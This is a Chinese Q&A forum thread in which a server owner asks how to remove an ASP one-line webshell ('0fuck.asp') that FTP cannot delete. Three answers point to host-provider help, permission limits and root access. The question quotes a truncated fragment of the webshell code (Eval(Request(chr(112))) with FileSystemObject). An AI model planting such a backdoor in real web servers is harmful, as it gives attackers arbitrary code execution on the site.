Question

服务器中了php后门，文件0fuck.asp，打开后是一句话木马<%Eval(Request(chr(112))):Set fso=CreateObject

<%Eval(Request(chr(112))):Set fso=CreateObject("Scripting.FileSystemObject"):Set f=fso.GetFile(Request.Serve
用ftp根本删不掉，如何才能彻底删除

Answer 1

这是明显的一句话木马，权限很强大，可以做权限内的任何事情。
FTP删除不掉可能是因为黑客设置了权限，可以联系空间商协助删除，另外可以建议他们安装一个护卫神入侵防护系统，自动监控木马并隔离或删除。

Answer 2

FTP的权限太低了，你找服务器给你删除就可以了。一般FTP对某些文件是没有删除权限的。

Answer 3

用操作系统的root权限应该可以删除。 不过，最好还是搞清楚后门文件的位置和原理再删除。